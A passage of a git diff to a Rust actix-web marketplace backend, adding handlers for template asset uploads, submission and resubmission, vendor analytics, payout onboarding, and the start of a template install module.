+        .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?;
+
+    let template = db::marketplace::get_by_id(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
+
+    ensure_template_owner(&template, &user.id)?;
+    ensure_template_assets_editable(&template)?;
+
+    let latest_version = db::marketplace::get_latest_version_by_template(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build()
+                .bad_request("Create a template version before uploading assets")
+        })?;
+
+    let presigned = services::presign_asset_upload(
+        &settings.marketplace_assets,
+        &id,
+        &latest_version.version,
+        services::MarketplaceAssetUploadRequest {
+            filename: body.filename.clone(),
+            sha256: body.sha256.clone(),
+            size: body.size,
+            content_type: body.content_type.clone(),
+            mount_path: body.mount_path.clone(),
+            fetch_target: body.fetch_target.clone(),
+            decompress: body.decompress.unwrap_or(false),
+            executable: body.executable.unwrap_or(false),
+            immutable: body.immutable.unwrap_or(true),
+        },
+    )
+    .map_err(map_storage_error)?;
+
+    let payload = serde_json::to_value(presigned).map_err(|err| {
+        JsonResponse::<serde_json::Value>::build().internal_server_error(err.to_string())
+    })?;
+
+    Ok(JsonResponse::<serde_json::Value>::build()
+        .set_item(payload)
+        .ok("OK"))
+}
+
+#[tracing::instrument(name = "Finalize marketplace asset upload", skip_all)]
+#[post("/{id}/assets/finalize")]
+pub async fn finalize_asset_upload_handler(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+    settings: web::Data<Settings>,
+    body: web::Json<FinalizeAssetRequest>,
+) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
+    let id = uuid::Uuid::parse_str(&path.into_inner().0)
+        .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?;
+
+    let template = db::marketplace::get_by_id(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
+
+    ensure_template_owner(&template, &user.id)?;
+    ensure_template_assets_editable(&template)?;
+
+    let latest_version = db::marketplace::get_latest_version_by_template(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build()
+                .bad_request("Create a template version before finalizing assets")
+        })?;
+
+    let asset = build_marketplace_asset(body.into_inner())?;
+    let expected_bucket = settings.marketplace_assets.active_bucket().to_string();
+    let expected_key = services::marketplace_assets::build_asset_key(
+        &id,
+        &latest_version.version,
+        &asset.sha256,
+        &asset.filename,
+    );
+    if asset.bucket != expected_bucket || asset.key != expected_key {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("Asset key does not match the server-issued upload descriptor"));
+    }
+    services::marketplace_assets::verify_asset_upload(&settings.marketplace_assets, &asset)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().bad_request(err.to_string()))?;
+
+    let persisted = db::marketplace::upsert_latest_version_asset(
+        pg_pool.get_ref(),
+        id,
+        &serde_json::to_value(&asset).map_err(|err| {
+            JsonResponse::<serde_json::Value>::build().internal_server_error(err.to_string())
+        })?,
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+
+    Ok(JsonResponse::<serde_json::Value>::build()
+        .set_item(persisted)
+        .ok("OK"))
+}
+
+#[tracing::instrument(name = "Presign marketplace asset download", skip_all)]
+#[post("/{id}/assets/presign-download")]
+pub async fn presign_asset_download_handler(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+    settings: web::Data<Settings>,
+    body: web::Json<PresignAssetDownloadRequest>,
+) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
+    let id = uuid::Uuid::parse_str(&path.into_inner().0)
+        .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?;
+
+    let template = db::marketplace::get_by_id(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
+
+    ensure_template_owner(&template, &user.id)?;
+
+    let asset_value =
+        db::marketplace::get_latest_version_asset_by_key(pg_pool.get_ref(), id, body.key.trim())
+            .await
+            .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+            .ok_or_else(|| {
+                JsonResponse::<serde_json::Value>::build()
+                    .not_found("Asset not found for latest version")
+            })?;
+
+    let asset: models::MarketplaceAsset = serde_json::from_value(asset_value).map_err(|err| {
+        JsonResponse::<serde_json::Value>::build().internal_server_error(err.to_string())
+    })?;
+    let presigned = services::presign_asset_download(&settings.marketplace_assets, &asset)
+        .map_err(map_storage_error)?;
+    let payload = serde_json::to_value(presigned).map_err(|err| {
+        JsonResponse::<serde_json::Value>::build().internal_server_error(err.to_string())
+    })?;
+
+    Ok(JsonResponse::<serde_json::Value>::build()
+        .set_item(payload)
+        .ok("OK"))
+}
+
 #[tracing::instrument(name = "Submit template for review", skip_all)]
 #[post("/{id}/submit")]
 pub async fn submit_handler(
     user: web::ReqData<Arc<models::User>>,
     path: web::Path<(String,)>,
     pg_pool: web::Data<PgPool>,
+    body: web::Json<SubmitTemplateRequest>,
 ) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
     let id = uuid::Uuid::parse_str(&path.into_inner().0)
         .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?;
@@ -221,11 +704,66 @@ pub async fn submit_handler(
         return Err(JsonResponse::<serde_json::Value>::build().forbidden("Forbidden"));
     }
 
+    ensure_no_secrets_confirmation(body.into_inner().confirm_no_secrets)?;
+    let latest_version = db::marketplace::get_latest_version_by_template(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+    let has_empty_stack_definition = latest_version
+        .as_ref()
+        .map(|version| {
+            version.stack_definition.is_null()
+                || version
+                    .stack_definition
+                    .as_object()
+                    .map(|definition| definition.is_empty())
+                    .unwrap_or(false)
+        })
+        .unwrap_or(false);
+    if has_empty_stack_definition {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("Template must include a deployable stack definition before submission"));
+    }
+
     let submitted = db::marketplace::submit_for_review(pg_pool.get_ref(), &id)
         .await
         .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
 
     if submitted {
+        let template = db::marketplace::get_by_id(pg_pool.get_ref(), id)
+            .await
+            .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+            .ok_or_else(|| {
+                JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+            })?;
+
+        let template_clone = template.clone();
+        tokio::spawn(async move {
+            match WebhookSenderConfig::from_env() {
+                Ok(config) => {
+                    let sender = MarketplaceWebhookSender::new(config);
+                    let span = tracing::info_span!(
+                        "send_submit_webhook",
+                        template_id = %template_clone.id
+                    );
+
+                    if let Err(e) = sender
+                        .send_template_submitted(
+                            &template_clone,
+                            &template_clone.creator_user_id,
+                            template_clone.category_code.clone(),
+                        )
+                        .instrument(span)
+                        .await
+                    {
+                        tracing::warn!("Failed to send template submitted webhook: {:?}", e);
+                    }
+                }
+                Err(e) => {
+                    tracing::warn!("Webhook sender config not available: {}", e);
+                }
+            }
+        });
+
         Ok(JsonResponse::<serde_json::Value>::build().ok("Submitted"))
     } else {
         Err(JsonResponse::<serde_json::Value>::build().bad_request("Invalid status"))
@@ -234,10 +772,29 @@ pub async fn submit_handler(
 
 #[derive(Debug, serde::Deserialize)]
 pub struct ResubmitRequest {
+    pub name: Option<String>,
+    pub short_description: Option<String>,
+    pub long_description: Option<String>,
+    pub category_code: Option<String>,
+    pub tags: Option<serde_json::Value>,
+    pub tech_stack: Option<serde_json::Value>,
     pub version: String,
-    pub stack_definition: serde_json::Value,
+    pub stack_definition: Option<serde_json::Value>,
     pub definition_format: Option<String>,
     pub changelog: Option<String>,
+    pub infrastructure_requirements: Option<serde_json::Value>,
+    pub plan_type: Option<String>,
+    pub required_plan_name: Option<String>,
+    pub price: Option<f64>,
+    pub currency: Option<String>,
+    pub public_ports: Option<serde_json::Value>,
+    pub vendor_url: Option<String>,
+    pub config_files: Option<serde_json::Value>,
+    pub assets: Option<serde_json::Value>,
+    pub seed_jobs: Option<serde_json::Value>,
+    pub post_deploy_hooks: Option<serde_json::Value>,
+    pub update_mode_capabilities: Option<serde_json::Value>,
+    pub confirm_no_secrets: Option<bool>,
 }
 
 #[tracing::instrument(name = "Resubmit template with new version", skip_all)]
@@ -265,14 +822,67 @@ pub async fn resubmit_handler(
     }
 
     let req = body.into_inner();
+    ensure_no_secrets_confirmation(req.confirm_no_secrets)?;
+    let current_version = db::marketplace::get_latest_version_by_template(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().bad_request("Template has no latest version")
+        })?;
+    let price = match req.plan_type.as_deref() {
+        Some("free") => Some(0.0),
+        _ => req.price,
+    };
+    let stack_definition = req
+        .stack_definition
+        .clone()
+        .unwrap_or_else(|| current_version.stack_definition.clone());
+    let config_files = req
+        .config_files
+        .clone()
+        .unwrap_or_else(|| current_version.config_files.clone());
+    let assets = req
+        .assets
+        .clone()
+        .unwrap_or_else(|| current_version.assets.clone());
+    let seed_jobs = req
+        .seed_jobs
+        .clone()
+        .unwrap_or_else(|| current_version.seed_jobs.clone());
+    let post_deploy_hooks = req
+        .post_deploy_hooks
+        .clone()
+        .unwrap_or_else(|| current_version.post_deploy_hooks.clone());
+    let update_mode_capabilities = req
+        .update_mode_capabilities
+        .clone()
+        .or(current_version.update_mode_capabilities.clone());
 
     let version = db::marketplace::resubmit_with_new_version(
         pg_pool.get_ref(),
         &id,
+        req.name.as_deref(),
+        req.short_description.as_deref(),
+        req.long_description.as_deref(),
+        req.category_code.as_deref(),
+        req.tags.clone(),
+        req.tech_stack.clone(),
+        req.infrastructure_requirements.clone(),
+        price,
+        req.plan_type.as_deref(),
+        req.required_plan_name.as_deref(),
+        req.currency.as_deref(),
+        req.public_ports.clone(),
+        req.vendor_url.as_deref(),
         &req.version,
-        req.stack_definition,
+        stack_definition,
         req.definition_format.as_deref(),
         req.changelog.as_deref(),
+        config_files,
+        assets,
+        seed_jobs,
+        post_deploy_hooks,
+        update_mode_capabilities,
     )
     .await
     .map_err(|err| JsonResponse::<serde_json::Value>::build().bad_request(err))?;
@@ -283,6 +893,39 @@ pub async fn resubmit_handler(
         "status": "submitted"
     });
 
+    let template = db::marketplace::get_by_id(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
+
+    let template_clone = template.clone();
+    tokio::spawn(async move {
+        match WebhookSenderConfig::from_env() {
+            Ok(config) => {
+                let sender = MarketplaceWebhookSender::new(config);
+                let span =
+                    tracing::info_span!("send_resubmit_webhook", template_id = %template_clone.id);
+
+                if let Err(e) = sender
+                    .send_template_submitted(
+                        &template_clone,
+                        &template_clone.creator_user_id,
+                        template_clone.category_code.clone(),
+                    )
+                    .instrument(span)
+                    .await
+                {
+                    tracing::warn!("Failed to send template resubmitted webhook: {:?}", e);
+                }
+            }
+            Err(e) => {
+                tracing::warn!("Webhook sender config not available: {}", e);
+            }
+        }
+    });
+
     Ok(JsonResponse::<serde_json::Value>::build()
         .set_item(result)
         .ok("Resubmitted for review"))
@@ -303,6 +946,71 @@ pub async fn mine_handler(
         .map(|templates| JsonResponse::build().set_list(templates).ok("OK"))
 }
 
+#[tracing::instrument(name = "Get my marketplace analytics", skip_all)]
+#[get("/mine/analytics")]
+pub async fn analytics_handler(
+    user: Option<web::ReqData<Arc<models::User>>>,
+    query: web::Query<AnalyticsQuery>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<web::Json<models::VendorAnalytics>> {
+    let user = user.ok_or_else(|| JsonResponse::<String>::forbidden("Authentication required"))?;
+    let start_date = parse_optional_analytics_date(query.start_date.as_deref())?;
+    let end_date = parse_optional_analytics_date(query.end_date.as_deref())?;
+    validate_optional_template_scope(pg_pool.get_ref(), &user.id, query.template_id.as_deref())
+        .await?;
+
+    db::marketplace::get_vendor_analytics_for_period(
+        pg_pool.get_ref(),
+        &user.id,
+        query.period.as_deref().unwrap_or("30d"),
+        start_date,
+        end_date,
+    )
+    .await
+    .map(web::Json)
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))
+}
+
+async fn validate_optional_template_scope(
+    pool: &PgPool,
+    user_id: &str,
+    template_id: Option<&str>,
+) -> Result<()> {
+    let Some(template_id) = template_id else {
+        return Ok(());
+    };
+    let template_id = uuid::Uuid::parse_str(template_id).map_err(|_| {
+        JsonResponse::<serde_json::Value>::build().bad_request("Invalid templateId")
+    })?;
+    let template = db::marketplace::get_by_id(pool, template_id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
+
+    if template.creator_user_id != user_id {
+        return Err(JsonResponse::<serde_json::Value>::build().forbidden("Access denied"));
+    }
+
+    Ok(())
+}
+
+fn parse_optional_analytics_date(
+    value: Option<&str>,
+) -> Result<Option<chrono::DateTime<chrono::Utc>>> {
+    value
+        .map(|raw| {
+            chrono::DateTime::parse_from_rfc3339(raw)
+                .map(|date| date.with_timezone(&chrono::Utc))
+                .map_err(|_| {
+                    JsonResponse::<serde_json::Value>::build()
+                        .bad_request("Invalid analytics date format")
+                })
+        })
+        .transpose()
+}
+
 #[tracing::instrument(name = "List reviews for my template", skip_all)]
 #[get("/{id}/reviews")]
 pub async fn my_reviews_handler(
@@ -317,7 +1025,9 @@ pub async fn my_reviews_handler(
     let template = db::marketplace::get_by_id(pg_pool.get_ref(), id)
         .await
         .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
-        .ok_or_else(|| JsonResponse::<serde_json::Value>::build().not_found("Template not found"))?;
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
 
     if template.creator_user_id != user.id {
         return Err(JsonResponse::<serde_json::Value>::build().forbidden("Access denied"));
@@ -328,3 +1038,258 @@ pub async fn my_reviews_handler(
         .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))
         .map(|reviews| JsonResponse::build().set_list(reviews).ok("OK"))
 }
+
+#[tracing::instrument(name = "Get my vendor profile status", skip_all)]
+#[get("/{id}/vendor-profile-status")]
+pub async fn vendor_profile_status_handler(
+    user: Option<web::ReqData<Arc<models::User>>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
+    let user = user.ok_or_else(|| JsonResponse::<String>::forbidden("Authentication required"))?;
+    let id = uuid::Uuid::parse_str(&path.into_inner().0)
+        .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?;
+
+    let template = db::marketplace::get_by_id(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
+
+    if template.creator_user_id != user.id {
+        return Err(JsonResponse::<serde_json::Value>::build().forbidden("Access denied"));
+    }
+
+    let vendor_profile = db::marketplace::get_vendor_profile_by_creator(
+        pg_pool.get_ref(),
+        &template.creator_user_id,
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+    .unwrap_or_else(|| {
+        models::MarketplaceVendorProfile::default_for_creator(&template.creator_user_id)
+    });
+
+    let result = build_vendor_profile_status_item(
+        &template.creator_user_id,
+        Some(template.id),
+        vendor_profile,
+    );
+
+    Ok(JsonResponse::<serde_json::Value>::build()
+        .set_item(result)
+        .ok("OK"))
+}
+
+#[derive(Debug, serde::Deserialize)]
+pub struct UpdateVendorPublicProfileRequest {
+    /// URL-safe slug for the vendor's public page, e.g. "acme-cloud"
+    pub public_slug: Option<String>,
+    pub display_name: Option<String>,
+    pub bio: Option<String>,
+    pub avatar_url: Option<String>,
+    pub website_url: Option<String>,
+}
+
+#[tracing::instrument(name = "Update my vendor public profile", skip_all)]
+#[patch("/mine/vendor-profile")]
+pub async fn update_vendor_public_profile_handler(
+    user: Option<web::ReqData<Arc<models::User>>>,
+    pg_pool: web::Data<PgPool>,
+    body: web::Json<UpdateVendorPublicProfileRequest>,
+) -> Result<impl Responder> {
+    let user = user.ok_or_else(|| JsonResponse::<String>::forbidden("Authentication required"))?;
+    let req = body.into_inner();
+
+    if let Some(ref slug) = req.public_slug {
+        let valid = !slug.is_empty()
+            && slug.len() <= 100
+            && slug.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
+            && !slug.starts_with('-')
+            && !slug.ends_with('-');
+        if !valid {
+            return Err(JsonResponse::<serde_json::Value>::build().bad_request(
+                "public_slug must be 1–100 characters, lowercase alphanumeric and hyphens only, no leading/trailing hyphens",
+            ));
+        }
+    }
+
+    db::marketplace::update_vendor_public_profile(
+        pg_pool.get_ref(),
+        &user.id,
+        req.public_slug.as_deref(),
+        req.display_name.as_deref(),
+        req.bio.as_deref(),
+        req.avatar_url.as_deref(),
+        req.website_url.as_deref(),
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().bad_request(err))?;
+
+    Ok(JsonResponse::<serde_json::Value>::build().ok("Vendor public profile updated"))
+}
+
+#[tracing::instrument(name = "Get my vendor profile", skip_all)]
+#[get("/mine/vendor-profile")]
+pub async fn self_vendor_profile_handler(
+    user: Option<web::ReqData<Arc<models::User>>>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
+    let user = user.ok_or_else(|| JsonResponse::<String>::forbidden("Authentication required"))?;
+
+    let vendor_profile =
+        db::marketplace::get_vendor_profile_by_creator(pg_pool.get_ref(), &user.id)
+            .await
+            .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+            .unwrap_or_else(|| models::MarketplaceVendorProfile::default_for_creator(&user.id));
+
+    let result = build_vendor_profile_status_item(&user.id, None, vendor_profile);
+
+    Ok(JsonResponse::<serde_json::Value>::build()
+        .set_item(result)
+        .ok("OK"))
+}
+
+#[tracing::instrument(name = "Create my vendor onboarding link", skip_all)]
+#[post("/mine/vendor-profile/onboarding-link")]
+pub async fn create_onboarding_link_handler(
+    user: Option<web::ReqData<Arc<models::User>>>,
+    pg_pool: web::Data<PgPool>,
+    payout_provider: web::Data<Arc<dyn services::PayoutProvider>>,
+) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
+    let user = user.ok_or_else(|| JsonResponse::<String>::forbidden("Authentication required"))?;
+
+    let existing_profile =
+        db::marketplace::get_vendor_profile_by_creator(pg_pool.get_ref(), &user.id)
+            .await
+            .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+    let existing_account_ref = existing_profile.as_ref().and_then(|profile| {
+        (profile.payout_provider.as_deref() == Some(payout_provider.provider_code()))
+            .then(|| profile.payout_account_ref.as_deref())
+            .flatten()
+    });
+
+    let onboarding_link = payout_provider
+        .create_onboarding_link(&user, existing_account_ref)
+        .await
+        .map_err(|err| {
+            let user_msg = err.user_message();
+            let is_platform = err.is_platform_setup_error();
+            tracing::error!(
+                platform_setup = is_platform,
+                raw_error = %err,
+                "Payout provider onboarding-link failed"
+            );
+            // 503 for platform-setup issues (vendor cannot act); 422 for vendor issues.
+            let http_status = if is_platform { 503u16 } else { 422 };
+            let body = serde_json::json!({
+                "message": user_msg,
+                "code": if is_platform { "platform_setup_required" } else { "vendor_action_required" },
+            });
+            let status_code = actix_web::http::StatusCode::from_u16(http_status)
+                .unwrap_or(actix_web::http::StatusCode::INTERNAL_SERVER_ERROR);
+            let response = HttpResponse::build(status_code).json(body);
+            actix_web::Error::from(
+                actix_web::error::InternalError::from_response(err, response)
+            )
+        })?;
+
+    let (vendor_profile, linkage_created) = db::marketplace::ensure_vendor_onboarding_link(
+        pg_pool.get_ref(),
+        &user.id,
+        &onboarding_link.provider,
+        &onboarding_link.account_ref,
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+
+    let mut result = build_vendor_profile_status_item(&user.id, None, vendor_profile);
+    result["linkage_created"] = serde_json::Value::Bool(linkage_created);
+    result["onboarding_url"] = onboarding_link
+        .onboarding_url
+        .map(serde_json::Value::String)
+        .unwrap_or(serde_json::Value::Null);
+    result["onboarding_expires_at"] = onboarding_link
+        .expires_at
+        .map(|expires_at| serde_json::Value::Number(expires_at.into()))
+        .unwrap_or(serde_json::Value::Null);
+
+    Ok(JsonResponse::<serde_json::Value>::build()
+        .set_item(result)
+        .ok("OK"))
+}
+
+#[tracing::instrument(name = "Complete my vendor onboarding", skip_all)]
+#[post("/mine/vendor-profile/onboarding-complete")]
+pub async fn complete_onboarding_handler(
+    user: Option<web::ReqData<Arc<models::User>>>,
+    pg_pool: web::Data<PgPool>,
+    payout_provider: web::Data<Arc<dyn services::PayoutProvider>>,
+) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
+    let user = user.ok_or_else(|| JsonResponse::<String>::forbidden("Authentication required"))?;
+
+    let existing_profile =
+        db::marketplace::get_vendor_profile_by_creator(pg_pool.get_ref(), &user.id)
+            .await
+            .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+            .ok_or_else(|| {
+                JsonResponse::<serde_json::Value>::build()
+                    .conflict("Onboarding link must exist before completion")
+            })?;
+
+    let account_ref = existing_profile
+        .payout_account_ref
+        .as_deref()
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build()
+                .conflict("Onboarding link must exist before completion")
+        })?;
+    let linked_provider = existing_profile
+        .payout_provider
+        .as_deref()
+        .unwrap_or("unknown")
+        .to_string();
+    if linked_provider != payout_provider.provider_code() {
+        return Err(JsonResponse::<serde_json::Value>::build().conflict(format!(
+            "Vendor profile is linked to payout provider '{}', but active provider is '{}'",
+            linked_provider,
+            payout_provider.provider_code()
+        )));
+    }
+
+    let provider_completion = payout_provider
+        .complete_onboarding(account_ref)
+        .await
+        .map_err(|err| {
+            JsonResponse::<serde_json::Value>::build().internal_server_error(err.to_string())
+        })?;
+    if !provider_completion.completed {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .conflict("Payout provider onboarding is not complete"));
+    }
+
+    let completion = db::marketplace::complete_vendor_onboarding(
+        pg_pool.get_ref(),
+        &user.id,
+        "creator_api",
+        provider_completion.payouts_enabled,
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+
+    let (vendor_profile, completion_recorded) = match completion {
+        Some(result) => result,
+        None => {
+            return Err(JsonResponse::<serde_json::Value>::build()
+                .conflict("Onboarding link must exist before completion"))
+        }
+    };
+
+    let mut result = build_vendor_profile_status_item(&user.id, None, vendor_profile);
+    result["completion_recorded"] = serde_json::Value::Bool(completion_recorded);
+
+    Ok(JsonResponse::<serde_json::Value>::build()
+        .set_item(result)
+        .ok("OK"))
+}
diff --git a/src/routes/marketplace/install.rs b/src/routes/marketplace/install.rs
new file mode 100644
index 00000000..96d1f6bb
--- /dev/null
+++ b/src/routes/marketplace/install.rs
@@ -0,0 +1,1976 @@
+use std::sync::Arc;
+
+use crate::helpers::redact::{redact_sensitive_json_values, redact_yaml_string};
+use actix_web::{post, web, Responder, Result};
+use serde::{Deserialize, Serialize};
+use serde_json::{Map, Value};
+use serde_valid::Validate;
+use sqlx::PgPool;
+
+use crate::configuration::Settings;
+use crate::connectors::errors::ConnectorError;
+use crate::connectors::install_service::InstallServiceConnector;
+use crate::connectors::user_service::UserServiceConnector;
+use crate::forms;
+use crate::forms::project::ProjectForm;
+use crate::forms::project::Var;
+use crate::helpers::{JsonResponse, MqManager, VaultClient};
+use crate::{db, models, project_app, services};
+
+#[derive(Debug, Deserialize)]
+pub struct InstallTemplateRequest {
+    pub name: Option<String>,
+    #[serde(default)]
+    pub deploy: Option<forms::project::Deploy>,
+    #[serde(default)]
+    pub install_inputs: Map<String, Value>,
+    /// Client-supplied idempotency key. Required for `per_install` templates
+    /// so retries collapse to a single authorization row. Omitted for
+    /// free / one_time templates. If missing on a per_install install the
+    /// server generates one and echoes it back in the response.
+    #[serde(default)]
+    pub idempotency_key: Option<String>,
+}
+
+#[derive(Debug, Serialize)]
+pub struct InstallTemplateResponse {
+    pub project: models::Project,
+    pub template: serde_json::Value,
+    pub latest_version: serde_json::Value,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub deployment_id: Option<i32>,
+    /// Present only for `per_install` installs. Echoes the authorization
+    /// state so the CLI (and any HTTP-level retry) can reconcile.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub authorization: Option<AuthorizationSummary>,
+    /// Present only for `per_install` installs. Set to the effective key
+    /// used server-side (may be server-generated if the client omitted it).
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub idempotency_key: Option<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct AuthorizationSummary {
+    pub authorization_id: String,
+    pub status: String,
+    pub amount_minor: i64,
+    pub currency: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub expires_at: Option<String>,
+}
+
+fn map_access_error(err: services::MarketplaceAccessError) -> actix_web::Error {
+    match err {
+        services::MarketplaceAccessError::ValidationFailed(reason) => {
+            tracing::error!("Marketplace access validation failed: {}", reason);
+            JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Failed to validate marketplace access")
+        }
+        services::MarketplaceAccessError::NoPaymentMethod { .. } => {
+            JsonResponse::<serde_json::Value>::build().payment_required(err.to_string())
+        }
+        services::MarketplaceAccessError::MissingUserToken
+        | services::MarketplaceAccessError::InsufficientFeaturePlan
+        | services::MarketplaceAccessError::InsufficientTemplatePlan { .. }
+        | services::MarketplaceAccessError::TemplateNotOwned => {
+            JsonResponse::<serde_json::Value>::build().forbidden(err.to_string())
+        }
+    }
+}
+
+fn normalized_project_name(name: &str) -> String {
+    models::sanitize_project_name(name)
+        .chars()
+        .take(50)
+        .collect::<String>()
+}
+
+fn build_project_form(
+    template: &models::StackTemplate,
+    latest_version: &models::StackTemplateVersion,
+    requested_name: Option<&str>,
+) -> Result<ProjectForm> {
+    build_project_form_core(template, latest_version, requested_name)
+        .map_err(|msg| JsonResponse::<serde_json::Value>::build().bad_request(msg))
+}
+
+/// Dry-run of the install-time project-form build. Used by `submit_handler`
+/// as a submission gate so a template that can't be installed never reaches
+/// the "approved" state and the marketplace listing. Errors here are the
+/// same errors the install path would raise later.
+pub(crate) fn validate_installable_form(
+    template: &models::StackTemplate,
+    latest_version: &models::StackTemplateVersion,
+) -> Result<(), String> {
+    build_project_form_core(template, latest_version, None).map(|_| ())
+}
+
+/// The three shapes we currently see for a stored `stack_definition`:
+///
+/// * `LegacyForm` — a JSON object with the `custom` wrapper, produced by
+///   older submission paths. Deserializes straight into `ProjectForm`.
+/// * `ComposeYaml` — a YAML string of a docker-compose file, indicated by
+///   `definition_format = "yaml"`. Embedded as `docker-compose.yml`.
+/// * `StackerConfig` — the shape `stacker submit` sends: the raw
+///   `stacker.yml` parsed to a JSON object (no `custom` wrapper). The CLI
+///   never sets `definition_format` for this shape, so we recognize it by
+///   the absence of `custom`. Serialized back to YAML and embedded as
+///   `stacker.yml`.
+enum DefinitionShape<'a> {
+    LegacyForm(&'a serde_json::Value),
+    ComposeYaml(&'a str),
+    StackerConfig(String),
+}
+
+fn classify_definition(
+    latest_version: &models::StackTemplateVersion,
+) -> Result<DefinitionShape<'_>, String> {
+    let sd = &latest_version.stack_definition;
+    if latest_version.definition_format.as_deref() == Some("yaml") {
+        return sd
+            .as_str()
+            .map(DefinitionShape::ComposeYaml)
+            .ok_or_else(|| "YAML stack definition is not a string".to_string());
+    }
+    if let Some(obj) = sd.as_object() {
+        if obj.contains_key("custom") {
+            return Ok(DefinitionShape::LegacyForm(sd));
+        }
+        let yaml = serde_yaml::to_string(sd)
+            .map_err(|err| format!("Failed to serialize stacker.yml stack definition: {}", err))?;
+        return Ok(DefinitionShape::StackerConfig(yaml));
+    }
+    Err(format!(
+        "Unsupported stack_definition type: expected string (compose YAML) or object (stacker.yml / legacy form), got {}",
+        match sd {
+            serde_json::Value::Null => "null",
+            serde_json::Value::Bool(_) => "boolean",
+            serde_json::Value::Number(_) => "number",
+            serde_json::Value::String(_) => "string",
+            serde_json::Value::Array(_) => "array",
+            serde_json::Value::Object(_) => "object",
+        }
+    ))
+}
+
+fn build_project_form_core(
+    template: &models::StackTemplate,
+    latest_version: &models::StackTemplateVersion,
+    requested_name: Option<&str>,
+) -> Result<ProjectForm, String> {
+    let shape = classify_definition(latest_version)
+        .map_err(|err| format!("Template '{}': {}", template.slug, err))?;
+
+    let mut form: ProjectForm = match &shape {
+        DefinitionShape::LegacyForm(sd) => {
+            serde_json::from_value((*sd).clone()).map_err(|err| {
+                format!(
